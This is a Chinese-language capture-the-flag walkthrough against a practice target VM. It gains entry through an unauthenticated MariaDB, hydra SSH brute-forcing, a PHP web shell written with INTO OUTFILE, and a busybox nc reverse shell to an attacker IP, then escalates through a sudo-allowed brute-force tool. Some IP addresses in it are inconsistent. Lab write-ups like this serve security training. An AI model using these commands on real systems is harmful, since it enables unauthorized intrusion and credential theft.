前言
核心逻辑:信息收集 → 发现 sudo 错误配置 → 利用专用工具爆破密码 → 逐级提权到 root。
正文
方式一:MariaDB未授权+用户弱口令爆破
1、信息搜集
使用Nmap扫码靶机端口:
bash
nmap -sV -v -T4 -A 192.168.31.220

扫出以下关键信息:
| 端口 | 协议 | 状态 | 服务 | 版本信息 | 关键说明 |
|---|---|---|---|---|---|
| 22/tcp | TCP | open | ssh | OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) | Debian 11 系统的 SSH 服务,附带 RSA/ECDSA/ED25519 三种主机密钥 |
| 80/tcp | TCP | open | http | Apache httpd 2.4.62 (Debian) | Apache 2.4.62 web 服务,访问时返回 400 Bad Request(请求格式错误) |
| 3306/tcp | TCP | open | mysql | MariaDB 5.5.5-10.5.23 | MariaDB 数据库服务(MySQL 分支),版本为 10.5.23(Debian 定制版) |
2、MariaDB未授权漏洞利用
尝试一下MariaDB空口令爆破:
bash
mysql -h 192.168.31.220 -u root -p

提示, 服务器没有开启SSL加密,跟本地安全机制不一致。
利用这个漏洞,不启动SSL加密登录:
bash
mysql -uroot -h192.168.3.214 -p --skip-ssl

成功进入数据库,输入:
sql
show databases;

没啥利用的,通过MariaDB 提供的内置函数load_file(),读取服务器/etc/passwd文件内容:
sql
select load_file('/etc/passwd');
拿到以下信息:

/etc/passwd内容每一行对应一个系统用户,格式是 用户名:密码占位符:用户ID:组ID:备注:家目录:登录Shell
| 字段 | 大白话解释 |
|---|---|
| 用户名 | 登录系统时用的名字(比如 root、a7) |
| 密码占位符 | 现在 Linux 密码都存在 /etc/shadow 里,这里固定显示 x(只是个标记) |
| 用户 ID(UID) | 系统识别用户的数字编号(0 = 超级管理员,1000 + 通常是普通用户) |
| 组 ID(GID) | 用户所属组的数字编号 |
| 备注 | 可选的说明(比如用户用途),可以为空 |
| 家目录 | 用户登录后默认的工作目录(比如 /home/a7 是 a7 用户的 "个人文件夹") |
| 登录 Shell | 用户登录后能使用的命令行环境: - /bin/bash:能正常登录操作(有交互 Shell) - /usr/sbin/nologin//bin/false:禁止登录(仅用于运行服务) |
惊喜发现用户名a7的权限挺大的。
3、SSH用户密码爆破
那我们就想办法对a7用户密码进行爆破,对豆包下指令:生成一个CTF比赛中常用的top1000的字典"pass.txt"。
拿着pass.txt字典爆破:
bash
hydra -l a7 -P pass.txt ssh://192.168.31.220 -V -I -t 10
| 参数 / 命令段 | 大白话解释 |
|---|---|
hydra |
启动 Hydra 工具(一款经典的暴力破解工具,支持 SSH/MySQL/FTP 等多种协议) |
-l a7 |
指定单个用户名 为 a7(小写 L,不是数字 1) 补充:如果要爆破多个用户名,用 -L 用户名文件.txt |
-P pass.txt |
指定密码字典文件 为 pass.txt(大写 P) 作用:Hydra 会逐个尝试这个文件里的每一行密码 |
ssh://192.168.3.214 |
指定要爆破的目标: - 协议:ssh(针对 22 端口的 SSH 服务) - 目标 IP:192.168.3.214 |
-V |
显示详细爆破过程(Verbose):每尝试一个密码都会输出日志,能看到进度和失败 / 成功信息 |
-I |
忽略之前的爆破进度(Ignore):如果之前对这个目标爆破过,不会加载缓存,从头开始新的爆破 |

ssh登录靶机:
bash
ssh a7@192.168.31.220

检查用户权限、所在路径:
bash
id
pwd

接下来就是翻目录找到flag:

方式二:MariaDB未授权+目录命令执行
1、目录信息收集
使用Dirsearch扫描开放的目录:
bash
dirsearch -u 192.168.31.220

扫描完发现有个/temp目录可以访问, 说明可以漏洞利用,实现目录写入。
2、MariaDB未授权漏洞利用
还是得进入MariaDB里,通过sql语句,实现目录写入:

sql
select 1,2,"<?php echo exec($_GET['c']);?>",4 intoOUTFILE '/var/www/html/temp/b.php
可以看到文件被写入进来。

在浏览器里输入:
3、目录命令执行
html
b.php?c=busybox%20nc%20192.168.31.188%201234%20-e%20/bin/bash
然后在kali里开启监听,并试图读取当前用户身份,就会得到以下结果:

启动伪shell窗口,成功拿到www-data低级权限用户,并通过快捷键Ctrl+z短暂中断:
bash
/usr/bin/script -qc /bin/bash /dev/null

调整窗口格式:
bash
stty raw -echo;fg
重启:
bash
reset
改成xterm格式:
bash
xterm

拿到flag。

4、低级用户提权
通过ls -al命令,显示所有文件(包括以 . 开头的隐藏文件),

列表内容解读(每行对应一个文件 / 目录):
- 第一列(如 drwxr-xr-x):文件权限(d 代表目录,- 代表普通文件;rwx 分别是读 / 写 / 执行权限);
- 第二列(数字):硬链接数;
- 第三 / 四列:文件的属主 / 属组(如 root、www-data);
- 第五列:文件大小(单位字节);
- 第六 - 八列:最后修改时间;
- 最后一列:文件名(. 代表当前目录,... 代表上级目录,.bash_history 是隐藏文件)。
在/var/www下可以看到.bash_history,拿到welcome用户的密码。
成功进入welcome用户下:

查看当前用户(welcome)拥有的 sudo 权限:
bash
sudo -l

- User welcome may run the following commands on 3170:用户
welcome在主机
3170上可执行以下命令; - (ALL):表示可以以任意用户身份(包括 root)执行后续命令;
- NOPASSWD:执行该命令时不需要输入密码(普通 sudo 操作默认需要验证当前用户密码);
- /opt/suForce:允许执行的具体命令 / 程序路径(即 welcome 可通过 sudo /opt/suForce 以 root
身份无密码运行这个程序)。
(1)通过suForce工具读取到user.txt文件的flag:
bash
sudo /opt/suForce -u root -w user.txt

同理,root.txt文件读取到flag:

(2)还有一种方法,将 root 用户的历史命令文件作为密码字典( .bash_history 是 Linux 用户保存历史执行命令的隐藏文件,并非专门的密码字典),读取到root用户的密码,然后登陆进去。

通过查看,拿到root.txt文件里的flag:
